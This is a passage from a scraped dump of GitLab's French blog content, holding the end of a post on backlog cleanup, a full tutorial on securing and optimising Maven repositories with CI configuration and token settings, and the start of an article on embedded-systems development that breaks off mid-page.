produit.\n\nCette approche ciblée conduira à une innovation accrue, à une meilleure définition des attentes et à des cycles de développement et de livraison plus rapides pour les fonctionnalités proposées par la communauté.\n\n## Présentation de l'initiative\n\nAu fil du temps, la communauté GitLab a soumis des dizaines de milliers de tickets, incluant des bogues, des demandes de fonctionnalités et des retours. Actuellement, [notre système principal de suivi des tickets](https://gitlab.com/gitlab-org/gitlab/-/issues) contient plus de 65 000 tickets. Certains ne sont plus applicables à la plateforme, tandis que d'autres restent toujours pertinents. \n\nAvec cette initiative, nos équipes chargées du produit et de l'ingénierie pourront réduire le backlog et établir un workflow afin de mettre en œuvre une approche plus ciblée de la gestion du backlog. Elles effectueront des évaluations hebdomadaires du backlog pour s'assurer que nous priorisons les tickets qui s'alignent avec notre stratégie produit et notre roadmap.\n\nRemarque : Si vous pensez qu’un ticket fermé s'aligne avec la stratégie produit et la roadmap de GitLab, ou si vous contribuez activement à cette demande, nous vous encourageons à commenter le ticket. Nous nous engageons à examiner ces tickets mis à jour dans le cadre de nos efforts d'évaluation réguliers.\n\n## Quels sont les avantages ?\n\nCette approche rationalisée apporte des améliorations directes et concrètes pour chaque utilisateur de GitLab :\n\n* **Un focus plus précis et une livraison plus rapide :** en recentrant notre backlog sur des fonctionnalités stratégiquement alignées, nous pouvons allouer nos ressources de développement plus efficacement. Cela signifie que vous pouvez vous attendre à des cycles de développement plus courts et à des améliorations plus significatives de votre expérience GitLab.\n* **Des attentes plus claires :** nous nous engageons à communiquer de manière transparente sur ce qui figure ou non dans notre roadmap, afin que vous puissiez prendre des décisions éclairées concernant vos workflows et vos contributions.\n* **Des boucles de rétroaction accélérées :** avec un backlog épuré, les nouveaux retours et demandes de fonctionnalités seront examinés et priorisés plus efficacement, réduisant le temps global de triage et garantissant que les tickets urgents reçoivent l'attention nécessaire. Cela crée une boucle de rétroaction plus réactive pour tous.\n\nCette initiative ne diminue pas l'importance des retours et des contributions de la communauté. Nous prenons cette mesure pour clarifier ce que les membres de l'équipe GitLab peuvent réellement s'engager à livrer, et pour garantir que tous les retours reçoivent la considération appropriée.\n\n## Perspectives d'avenir\n\nCette initiative reflète notre engagement à être des gestionnaires transparents et efficaces de la plateforme GitLab. En communiquant clairement nos priorités et en concentrant nos efforts sur ce que nous pouvons réellement livrer au cours de l'année à venir, nous sommes mieux positionnés pour répondre et dépasser vos attentes.\n\nVotre participation et vos retours continus contribuent à renforcer GitLab. Chaque commentaire, merge request, rapport de bogue et suggestion de fonctionnalité contribue à notre vision commune. Et nous continuons à vous récompenser pour cela, avec des initiatives comme notre programme mensuel Notable Contributor, des récompenses, et plus encore, via notre [portail dédié aux contributeurs](https://contributors.gitlab.com/).\n\nPour en savoir plus sur comment contribuer à GitLab, consultez notre [page Communauté](https://about.gitlab.com/community/). Pour partager vos retours sur cette initiative, veuillez ajouter vos commentaires sur [ce ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/556865).",[824],"Stan Hu","engineering",[270,676,827],"news",{"featured":6,"template":683,"slug":829},"inside-gitlabs-healthy-backlog-initiative","content:fr-fr:blog:inside-gitlabs-healthy-backlog-initiative.yml","Inside Gitlabs Healthy Backlog Initiative","fr-fr/blog/inside-gitlabs-healthy-backlog-initiative.yml","fr-fr/blog/inside-gitlabs-healthy-backlog-initiative",{"_path":835,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":836,"content":844,"config":854,"_id":856,"_type":16,"title":857,"_source":17,"_file":858,"_stem":859,"_extension":20},"/fr-fr/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab",{"title":837,"description":838,"ogTitle":837,"ogDescription":838,"noIndex":6,"ogImage":839,"ogUrl":840,"ogSiteName":841,"ogType":842,"canonicalUrls":840,"schema":843},"Comment sécuriser et optimiser votre dépôt Maven dans GitLab","Optimisez votre workflow DevSecOps en adoptant des bonnes pratiques, en maîtrisant des techniques avancées et en découvrant nos prochaines fonctionnalités.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666187/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","https://about.gitlab.com/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment sécuriser et optimiser votre dépôt Maven dans GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-07-30\",\n      }",{"title":837,"description":838,"authors":845,"heroImage":839,"date":821,"body":847,"category":673,"tags":848},[846],"Tim Rizzi","En tant que Product Manager chez GitLab, j'ai le plaisir de vous présenter nos solutions pour sécuriser et optimiser votre dépôt Maven. GitLab s'engage à offrir une plateforme DevSecOps complète, où la gestion des packages et la sécurisation des dépôts Maven jouent un rôle clé. Découvrez dans ce tutoriel les bonnes pratiques, les techniques avancées et les fonctionnalités à venir qui vont transformer votre workflow Maven.\n\n## Sécurisation de votre dépôt Maven : une approche globale\n\nLa sécurisation de votre chaîne d'approvisionnement logicielle est une priorité absolue. Voici les stratégies essentielles pour renforcer la sécurité de vos paquets Maven dans GitLab.\n\n### Mettre en œuvre un système d'authentification forte\n\n**Jetons d'accès personnels (PAT) :** privilégiez les PAT pour un contrôle d'accès affiné.\n\nPar exemple :\n\n```bash\nmvn deploy -s settings.xml\n```\n\nAvec la configuration suivante dans `settings.xml` :\n\n```xml\n\u003Csettings>\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Private-Token\u003C/name>\n            \u003Cvalue>${env.GITLAB_PERSONAL_TOKEN}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\n**Tokens de déploiement :** adaptés pour les pipelines CI/CD. Générez-les dans les paramètres de votre projet GitLab et intégrez-les dans votre fichier `.gitlab-ci.yml`.\n\n```yaml\ndeploy:\n  script:\n    - 'mvn deploy -s ci_settings.xml'\n  variables:\n    MAVEN_CLI_OPTS: \"-s ci_settings.xml --batch-mode\"\n    MAVEN_OPTS: \"-Dmaven.repo.local=.m2/repository\"\n  only:\n    - main\n```\n\nVoici le fichier `ci_settings.xml` correspondant :\n\n```xml\n\u003Csettings xmlns=\"http://maven.apache.org/SETTINGS/1.1.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/SETTINGS/1.1.0 http://maven.apache.org/xsd/settings-1.1.0.xsd\">\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Deploy-Token\u003C/name>\n            \u003Cvalue>${env.CI_DEPLOY_PASSWORD}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\nRemarques :\n\n* La variable `CI_DEPLOY_PASSWORD` doit être configurée comme une variable CI/CD dans les paramètres de votre projet GitLab et contenir le token de déploiement.\n* L'élément `\u003Cid>` doit correspondre à l'ID du dépôt tel qu'il est défini dans le fichier `pom.xml` de votre projet.\n\n**Rotation des tokens :** automatisez la stratégie de rotation des tokens à l'aide de l'API GitLab. Par exemple, vous pouvez planifier un pipeline mensuel qui regénère et met à jour vos tokens :\n\n```yaml\nrotate_tokens:\n  script:\n    - curl --request POST \"https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/deploy_tokens\" --header \"PRIVATE-TOKEN: ${ADMIN_TOKEN}\" --form \"name=maven-deploy-${CI_PIPELINE_ID}\" --form \"scopes[]=read_registry\" --form \"scopes[]=write_registry\"\n  only:\n    - schedules\n```\n\n### Tirer parti des fonctionnalités de sécurité intégrées de GitLab\n\n**Analyse des dépendances :** activez-la dans votre fichier `.gitlab-ci.yml`.\n\n```yaml\ninclude:\n  - template: Security/Dependency-Scanning.gitlab-ci.yml\n\nvariables:\n  DS_JAVA_VERSION: 11\n```\n\n**Analyse des conteneurs :** si vous conteneurisez vos applications Maven.\n\n```yaml\ninclude:\n  - template: Security/Container-Scanning.gitlab-ci.yml\n\nvariables:\n  CS_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA\n```\n\n**Conformité des licences :** assurez-vous que toutes les dépendances respectent les licences autorisées dans votre projet.\n\n```yaml\ninclude:\n  - template: Security/License-Scanning.gitlab-ci.yml\n```\n\n### Sécuriser votre pipeline CI/CD\n\n* **Variables CI/CD :** stockez toutes les informations contenant des données sensibles en toute sécurité.\n\n  ```yaml\n  variables:\n    MAVEN_REPO_USER: ${CI_DEPLOY_USER}\n    MAVEN_REPO_PASS: ${CI_DEPLOY_PASSWORD}\n  ```\n* **Variables masquées :** empêchez leur affichage dans les job logs et définissez-les dans vos paramètres GitLab CI/CD.\n* **Branches et tags protégés :** configurez-les dans les paramètres de votre projet GitLab pour restreindre les droits de publication des packages Maven aux utilisateurs autorisés.\n\n### Mettre en œuvre la signature de vos paquets\n\n* Utilisez le plug-in Maven GPG pour signer vos artefacts.\n\n  ```xml\n  \u003Cplugin>\n    \u003CgroupId>org.apache.maven.plugins\u003C/groupId>\n    \u003CartifactId>maven-gpg-plugin\u003C/artifactId>\n    \u003Cversion>1.6\u003C/version>\n    \u003Cexecutions>\n      \u003Cexecution>\n        \u003Cid>sign-artifacts\u003C/id>\n        \u003Cphase>verify\u003C/phase>\n        \u003Cgoals>\n          \u003Cgoal>sign\u003C/goal>\n        \u003C/goals>\n      \u003C/execution>\n    \u003C/executions>\n  \u003C/plugin>\n  ```\n\n* Stockez votre clé GPG dans des variables GitLab CI/CD sécurisées.\n\n### Contrôler les accès au registre de paquets\n\n* Configurez les paramètres du registre de paquets au niveau du projet et du groupe dans GitLab afin de restreindre les accès aux seuls utilisateurs autorisés.\n* Activez les listes d'autorisation d'IP au niveau du réseau dans les paramètres de votre instance GitLab pour restreindre l'accès réseau aux adresses approuvées.\n\n## Optimisation des performances : fluidifiez votre workflow Maven\n\nLa gestion de projets complexes ou de nombreuses dépendances exige une productivité maximale. Découvrez ci-dessous des techniques avancées pour tirer le meilleur parti de vos paquets Maven dans GitLab et accélérer vos compilations.\n\n### Maîtriser la gestion des dépendances\n\n* Centralisez vos versions dans la section `\u003CdependencyManagement>` de votre fichier POM parent.\n\n  ```xml\n  \u003CdependencyManagement>\n    \u003Cdependencies>\n      \u003Cdependency>\n        \u003CgroupId>org.springframework.boot\u003C/groupId>\n        \u003CartifactId>spring-boot-dependencies\u003C/artifactId>\n        \u003Cversion>${spring-boot.version}\u003C/version>\n        \u003Ctype>pom\u003C/type>\n        \u003Cscope>import\u003C/scope>\n      \u003C/dependency>\n    \u003C/dependencies>\n  \u003C/dependencyManagement>\n  ```\n### Tirer parti des projets multi-modules\n\n  * Structurez votre projet avec un POM parent et plusieurs modules enfants :\n\n    ```\n    my-project/\n    ├── pom.xml\n    ├── module1/\n    │   └── pom.xml\n    ├── module2/\n    │   └── pom.xml\n    └── module3/\n        └── pom.xml\n    ```\n  * Utilisez le réacteur Maven pour compiler les modules dans un ordre optimal :\n\n    ```bash\n    mvn clean install\n    ```\n\n### Mettre en œuvre les compilations parallèles\n\n* Utilisez la fonctionnalité de compilation parallèle de Maven :\n\n  ```bash\n  mvn -T 4C clean install\n  ```\n\n### Optimiser votre pipeline CI/CD\n\n* Configurez la mise en cache dans `.gitlab-ci.yml` pour accélérer les compilations :\n\n  ```yaml\n  cache:\n    paths:\n      - .m2/repository\n\n  build:\n    script:\n      - mvn clean package -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository\n  ```\n* Implémentez des compilations incrémentielles :\n\n  ```yaml\n  build:\n    script:\n      - mvn clean install -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository -am -amd -fae\n  ```\n\n### Utiliser la mise en cache des compilations\n\n* Intégrez l'extension Gradle Enterprise de Maven pour une gestion avancée de la mise en cache des compilations :\n\n  ```xml\n  \u003Cbuild>\n    \u003Cplugins>\n      \u003Cplugin>\n        \u003CgroupId>com.gradle\u003C/groupId>\n        \u003CartifactId>gradle-enterprise-maven-plugin\u003C/artifactId>\n        \u003Cversion>1.9\u003C/version>\n        \u003Cconfiguration>\n          \u003CgradleEnterprise>\n            \u003Cserver>https://ge.example.com\u003C/server>\n            \u003CallowUntrusted>false\u003C/allowUntrusted>\n          \u003C/gradleEnterprise>\n        \u003C/configuration>\n      \u003C/plugin>\n    \u003C/plugins>\n  \u003C/build>\n  ```\n\n## Présentation du programme bêta du registre virtuel Maven\n\nNous avons le plaisir d'annoncer le lancement du programme bêta de notre nouvelle fonctionnalité : le registre virtuel Maven. Cet ajout à l'écosystème GitLab transformera la gestion des dépôts Maven au sein de vos projets.\n\n### Fonctionnalités phares du registre virtuel Maven\n\n1. **Agrégation de dépôts :** combinez plusieurs dépôts Maven (internes et externes) en un seul dépôt virtuel.\n2. **Proxy intelligent et mise en cache :** accélérez les compilations grâce à la mise en cache des artefacts et au routage intelligent des requêtes.\n3. **Contrôle d'accès centralisé :** améliorez la sécurité en gérant l'accès à tous vos dépôts Maven depuis un seul et même endroit.\n\n### Utilisation du registre virtuel Maven\n\n1. **Configuration :** configurez l'authentification Maven dans votre fichier `settings.xml` :\n\n```\n\u003Csettings>\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Private-Token\u003C/name>\n            \u003Cvalue>${env.GITLAB_TOKEN}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\nOptions d'authentification :\n\n- Jeton d'accès personnel : utilisez `Private-Token` comme nom et `${env.GITLAB_TOKEN}` comme valeur.\n\n- Token de déploiement de groupe : utilisez `Deploy-Token` comme nom et `${env.GITLAB_DEPLOY_TOKEN}` comme valeur.\n\n- Token d'accès de groupe : utilisez `Private-Token` comme nom et `${env.GITLAB_ACCESS_TOKEN}` comme valeur.\n\n- Token de job CI : utilisez `Job-Token` comme nom et `${CI_JOB_TOKEN}` comme valeur.\n\n- Configurez le registre virtuel dans votre fichier `pom.xml`.\n\nOption 1 : en tant que registre supplémentaire :\n\n```\n\u003Crepositories>\n  \u003Crepository>\n    \u003Cid>gitlab-maven\u003C/id>\n    \u003Curl>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/\u003Cvirtual registry id>\u003C/url>\n  \u003C/repository>\n\u003C/repositories>\n```\n\nOption 2 : en remplacement de Maven Central (dans votre fichier `settings.xml`) :\n\n```\n\u003Cmirrors>\n  \u003Cmirror>\n    \u003Cid>gitlab-maven\u003C/id>\n    \u003Cname>GitLab virtual registry for Maven Central\u003C/name>\n    \u003Curl>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/\u003Cvirtual registry id>\u003C/url>\n    \u003CmirrorOf>central\u003C/mirrorOf>\n  \u003C/mirror>\n\u003C/mirrors>\n```\n\n2. **Utilisation :** désormais, toutes vos opérations Maven utiliseront ce dépôt virtuel.\n\n```\n# For personal access tokens\nexport GITLAB_TOKEN=your_personal_access_token\n\n# For group deploy tokens\nexport GITLAB_DEPLOY_TOKEN=your_deploy_token\n\n# For group access tokens\nexport GITLAB_ACCESS_TOKEN=your_access_token\n\n# Then run Maven commands normally\nmvn package\n\n```\n\n3. Avantages\n\n- Gestion simplifiée des dépendances\n- Temps de compilation réduits\n- Sécurité et conformité renforcées\n- Contrôle amélioré des dépendances tierces\n\n### Rejoignez le programme bêta\n\nNous recherchons activement des participants souhaitant tester notre version bêta :\n\n* Accédez en avant-première à la fonctionnalité de registre virtuel Maven.\n* Transmettez directement vos retours à notre équipe de développement.\n* Contribuez activement à façonner l'avenir de la gestion des paquets Maven dans GitLab.\n* Participez à des webinaires et sessions de questions-réponses exclusifs animés par notre équipe produit.\n\n> Pour rejoindre le programme bêta ou en savoir plus sur le registre virtuel Maven, consultez notre page dédiée au [programme bêta du registre virtuel Maven de GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/498139) (**Remarque :** lien provisoire).\n\n## Résumé\n\nChez GitLab, nous avons à cœur de proposer des outils à la fois sécurisés, performants et évolutifs pour accompagner votre développement logiciel. Le registre virtuel Maven illustre notre volonté constante d'innover pour répondre aux besoins croissants des développeurs et ingénieurs de plateforme.\n\nEn appliquant les mesures de sécurité et les techniques d'optimisation abordées dans cet article, et en tirant parti des futures fonctionnalités telles que le registre virtuel Maven, vous renforcerez l'efficacité de votre workflow Maven dans GitLab.\n\nNous sommes impatients de voir comment ces nouvelles fonctionnalités de gestion des paquets dans GitLab contribueront à perfectionner vos processus de développement. Restez à l'écoute et bon codage !",[849,850,851,852,853],"sécurité","plateforme DevSecOps","fonctionnalités","produit","workflow",{"slug":855,"featured":92,"template":683},"tutorial-secure-and-optimize-your-maven-repository-in-gitlab","content:fr-fr:blog:tutorial-secure-and-optimize-your-maven-repository-in-gitlab.yml","Tutorial Secure And Optimize Your Maven Repository In Gitlab","fr-fr/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab.yml","fr-fr/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab",{"_path":861,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":862,"content":868,"config":875,"_id":877,"_type":16,"title":878,"_source":17,"_file":879,"_stem":880,"_extension":20},"/fr-fr/blog/4-ways-to-accelerate-embedded-development-with-gitlab",{"ogTitle":863,"schema":864,"ogImage":865,"ogDescription":866,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":867,"title":863,"canonicalUrls":867,"description":866},"Accélérez le développement de systèmes embarqués avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Accélérez le développement de systèmes embarqués avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt DeLaney\"},{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2025-07-29\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","Découvrez 4 façons d’accélérer le développement de systèmes embarqués avec GitLab.","https://about.gitlab.com/fr-fr/blog/4-ways-to-accelerate-embedded-development-with-gitlab",{"title":863,"description":869,"authors":870,"heroImage":865,"date":872,"body":873,"category":676,"tags":874},"Découvrez comment les tests matériels automatisés, les compilations standardisées, les workflows collaboratifs, et la conformité intégrée éliminent les goulots d’étranglement dans le développement de micrologiciels.",[760,871],"Darwin Sanoy","2025-07-29","Les logiciels présents dans les systèmes embarqués, autrefois perçus comme de simples composants techniques, constituent désormais un facteur de différenciation essentiel. Les micrologiciels qui optimisent le fonctionnement de nos véhicules, avions et équipements industriels atteignent aujourd’hui un niveau de complexité remarquable. D'ici fin 2025, chaque véhicule contiendra en moyenne [650 millions](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/) de lignes de code, contre 200 millions il y a seulement cinq ans. Dans l’aérospatial, la complexité des logiciels embarqués a presque [doublé tous les quatre ans](https://www.mckinsey.com/industries/aerospace-and-defense/our-insights/debugging-the-software-talent-gap-in-aerospace-and-defense) au cours des dernières décennies. \n\nLes approches traditionnelles de développement de systèmes embarqués ralentissent le travail des ingénieurs, qui peinent à gérer efficacement la complexité croissante des composants logiciels des machines modernes, notamment : \n\n* [Les goulots d'étranglement lors des tests matériels](#challenge-1-hardware-testing-bottlenecks) \n* [Les environnements de compilation incohérents](#challenge-2-inconsistent-build-environments)\n* [Les pratiques de développement cloisonnées](#challenge-3-siloed-development-practices)\n* [Les processus manuels de conformité à la sécurité fonctionnelle](#challenge-4-manual-functional-safety-compliance-processes)\n\nLes équipes chargées de développer des systèmes embarqués doivent adopter une nouvelle approche pour faire face à l'augmentation rapide de la taille des dépôts de code. \n\nDécouvrez dans cet article quatre façons de tirer parti des capacités d'IA native de la plateforme DevSecOps de GitLab, afin de raccourcir les boucles de rétroaction, favoriser un travail collaboratif et itératif, et rationaliser la gestion de la conformité.\n\n## Défi 1 : les goulots d'étranglement lors des tests matériels\n\nContrairement aux logiciels d'entreprise qui peuvent s'exécuter sur pratiquement n'importe quel serveur cloud, les logiciels embarqués du secteur automobile doivent être testés sur du matériel spécialisé reproduisant fidèlement les environnements de production. Les processus de test HIL (Hardware-In-the-Loop) traditionnels suivent souvent ce workflow :\n\n1. Un développeur écrit le code d'un système embarqué (par exemple, une unité de commande électronique).  \n2. Il sollicite l'accès à des bancs d'essai matériels limités et onéreux (le prix peut varier entre 500 000 $ et 10 millions de dollars chacun).  \n3. Il patiente plusieurs jours, voire des semaines, avant d'obtenir cet accès.  \n4. Puis il déploie et teste manuellement le code directement sur son poste de travail.\n5. Enfin, il documente les résultats des tests, transmet le matériel à un autre membre de l'équipe de développement pour la suite du projet, et attend de pouvoir effectuer à nouveau d'autres tests matériels.\n\nCe processus s'avère particulièrement inefficace. Une fois leur code écrit, les développeurs de systèmes embarqués peuvent attendre plusieurs semaines avant de pouvoir le tester sur une cible matérielle. Entre temps, ils sont déjà passés à d'autres tâches, ce qui entraîne un changement de contexte préjudiciable à leur productivité. Pire encore, ils peuvent découvrir au bout de plusieurs semaines qu'une simple erreur de calcul s'est glissée dans leur code. \n\n### Solution : allocation automatisée du matériel et intégration continue\n\nVous pouvez rationaliser les tests matériels grâce à l'automatisation en utilisant le composant CI/CD [On-Premises Device Cloud](https://gitlab.com/guided-explorations/embedded/ci-components/device-cloud) de GitLab. Ce composant permet d'automatiser l'orchestration de ressources matérielles limitées en transformant un processus manuel et fastidieux en un workflow rationalisé et continu.\n\nLe composant On-Premises Device Cloud procède comme suit :\n\n1. Il crée des pools de ressources matérielles partagées.  \n2. Il alloue automatiquement (et exclusivement) du matériel aux tâches de test matériel du pipeline d'un développeur en fonction de la disponibilité.  \n3. Il déploie et exécute les tests sans intervention manuelle.  \n4. Il collecte les résultats des tests et les partage via des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") intégrés.  \n5. Il libère automatiquement le matériel dans le pool de ressources « disponibles ».\n\nUne fois que vous avez soumis le code, vous recevez les résultats en quelques heures, au lieu de plusieurs jours auparavant, souvent sans jamais toucher physiquement le matériel de test.\n\nDécouvrez dans cette vidéo comment le composant CI/CD On-Premises Device Cloud de GitLab permet d'orchestrer à distance l'allocation de matériel partagé pour les tests HIL :\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/ltr2CIM9Zag?si=NOij3t1YYz4zKajC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure>\n\u003C!-- blank line -->\n\nVous pouvez également adopter des stratégies de test multi-niveaux, qui offrent un compromis optimal entre rapidité d'exécution et qualité des résultats. Pour cela, intégrez les modèles et environnements de test de systèmes embarqués suivants dans vos pipelines automatisés GitLab CI :\n\n* **Software-in-the-Loop (SIL) :** tests effectués sur des simulateurs de matériel virtuels pour obtenir plus rapidement les tout premiers retours sur le code.  \n* **Processor-in-the-Loop (PIL) :** tests réalisés sur un processeur proche du contexte final pour obtenir des retours sur le code plus rapidement et à moindre coût.  \n* **Hardware-in-the-Loop (HIL) :** tests sur du matériel complet équivalent à celui de l'environnement de production, utilisés comme bancs d'essai pour vérification à un stade avancé.\n\nEn automatisant l'orchestration de ces différents tests dans vos pipelines CI, vous serez en mesure d'identifier les problèmes plus tôt, d'itérer plus rapidement et d'accélérer les délais de mise sur le marché.\n\n## Défi 2 : les environnements de compilation incohérents\n\nL'hétérogénéité des environnements de compilation constitue un problème majeur dans le développement de systèmes embarqués. Les équipes chargées de développer des systèmes embarqués exécutent souvent manuellement des compilations sur leurs machines locales avec des configurations, versions de compilateur et dépendances parfois très différentes. Elles intègrent ensuite les binaires issus de leurs compilations locales dans le code source partagé.\n\nCette approche entraîne plusieurs problèmes :\n\n* **Résultats incohérents :** basées sur le même code source, les compilations produisent des résultats différents selon les machines utilisées.  \n* **Syndrome du « Ça fonctionne sur ma machine » :** le code compilé localement échoue dans les environnements partagés.  \n* **Mauvaise traçabilité :** piste d'audit limitée pour connaître l'auteur, la date et le motif de la compilation.  \n* **Compartimentation des connaissances :** seuls quelques experts maîtrisent le processus de compilation.\n\nCette approche accroît le risque d'erreurs, crée des goulots d'étranglement et peut générer des retards coûteux. \n\n### Solution : automatisation standardisée des compilations\n\nVous pouvez relever ces défis en mettant en œuvre une automatisation standardisée de la compilation au sein de vos pipelines CI/CD dans GitLab. Cette approche garantit des environnements de compilation cohérents, reproductibles et basés sur des conteneurs, éliminant ainsi les variations spécifiques de configuration entre les différentes machines. En combinant cette standardisation avec des scripts de provisionnement Embedded Gateway Runner spécifiques, les conteneurs peuvent s'interfacer avec le matériel pour y déployer du code et surveiller les ports dans le cadre de tests automatisés.\n\nVoici les points clés de cette solution :\n\n* **Environnements gérés par le cycle de vie :** définissez vos environnements de simulation de systèmes embarqués complexes sous forme de code, déployez-les automatiquement pour les tests, puis détruisez-les une fois les tests terminés.  \n* **Conteneurisation :** utilisez des conteneurs Docker pour garantir des environnements de compilation homogènes et reproductibles.  \n* **Gestion automatisée des dépendances :** assurez un contrôle et un versionnage rigoureux de toutes les dépendances.  \n* **Compilations centralisée :** exécutez les compilations sur une infrastructure partagée, plutôt que sur des machines locales.\n\n> Suivez ce tutoriel et découvrez [comment automatiser les compilations de logiciels embarqués dans un pipeline GitLab CI](https://gitlab.com/guided-explorations/embedded/workshops/embedded-devops-workshop-refactoring-to-ci/-/blob/main/TUTORIAL2.md%20).\n\nEn standardisant et en automatisant le processus de compilation, vous vous assurez que chaque compilation suit les mêmes étapes avec des dépendances identiques, produisant ainsi des résultats cohérents, quelle que soit la personne qui l'a initiée. Cette approche améliore non seulement la qualité, mais rend aussi le processus accessible à toute l'équipe, même aux membres ne possédant pas une expertise approfondie dans ce domaine.\n\n## Défi 3 : les pratiques de développement cloisonnées\n\nAlors que les équipes de développement ont largement adopté des pratiques collaboratives telles que [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que l'approche DevOps ?\"), en s'appuyant sur la gestion partagée du code source (SCM) et les systèmes d'intégration et de livraison continues ([CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce que le CI/CD ?\")), les développeurs de systèmes embarqués travaillent encore souvent seuls à leur bureau. Cette situation s'explique par plusieurs contraintes techniques légitimes. \n\nPar exemple, la virtualisation matérielle est un pilier de l'automatisation DevOps. Toutefois, le secteur a été plus lent à virtualiser la vaste gamme de processeurs et de cartes spécialisés utilisés dans les systèmes embarqués, en grande partie en raison des difficultés liées à la virtualisation des systèmes de production en temps réel et d'un manque d'incitations économiques. Nous pouvons comparer cela à la virtualisation cloud, qui s'est largement démocratisée et a profité au développement SaaS depuis plus d'une décennie.\n\nAujourd'hui, de nombreux fournisseurs adoptent désormais la virtualisation afin d'accélérer le développement des systèmes embarqués. Cependant, si les équipes ne parviennent pas à adopter des options de test virtuel, l'effet de silo persistera, avec des impacts négatifs sur l'entreprise, notamment les suivants : \n\n* **Une fragmentation des connaissances** : les informations critiques restent dispersées entre différents membres de l'équipe et entre différentes équipes.  \n* **Un développement redondant** : plusieurs équipes résolvent les mêmes problèmes, ce qui crée des incohérences.  \n* **Une découverte tardive lors des intégrations massives (big-bang)** : les problèmes ne sont détectés qu'aux dernières étapes du processus, lorsque plusieurs développeurs intègrent leur code en même temps, rendant la correction des erreurs plus coûteuses.  \n* **Un ralentissement de l'innovation** : les solutions développées dans un domaine ont peu d'impact sur les autres, ce qui entrave le développement de nouvelles idées de produits.\n\n### Solution : ingénierie collaborative via une plateforme unifiée\n\nUne étape importante pour briser ces silos consiste à standardiser le développement de systèmes embarqués sur la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") unifiée de GitLab. GitLab joue un rôle central dans l’évolution des systèmes embarqués vers des plateformes consolidées et partagées, adaptées aux contraintes des appareils embarqués. \n\nLa plateforme GitLab offre notamment les avantages suivants :\n\n* **Une visibilité partagée :** l'ensemble du code, des tickets et de la documentation sont accessibles à toutes les équipes.  \n* **Des workflows collaboratifs :** favorisez la revue par les pairs et le partage des connaissances par le biais de merge requests.  \n* **Des connaissances centralisées :** maintenez une source unique de vérité pour tous les artefacts de développement.  \n* **Une collaboration asynchrone :** les équipes sont en mesure de collaborer efficacement, quel que soit leur localisation ou leur fuseau horaire.\n\nLa collaboration entre les humains et les agents d'IA est un ingrédient fondamental pour stimuler les innovations orientées client, tant pour les générations nées à l'ère du numérique que pour les marques établies proposant des systèmes embarqués. GitLab facilite cette synergie en favorisant la transparence tout au long du cycle de développement, transformant ainsi le développement de systèmes embarqués en une pratique collaborative plutôt qu'une activité isolée. Les équipes de développement peuvent suivre le travail de leurs collègues, apprendre des expériences collectives et s'appuyer sur des solutions partagées.\n\nRegardez cette présentation d'Embedded World Germany 2025 et découvrez le potentiel des équipes chargées de développer des systèmes embarqués qui collaborent et partagent leur travail en cours en temps réel. La partie démonstration (de 24:42 à 36:51) illustre comment intégrer les tests HIL dans un pipeline GitLab CI afin de favoriser un développement collaboratif efficace.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/F_rlOyq0hzc?si=eF4alDY6HK98uZPj\" 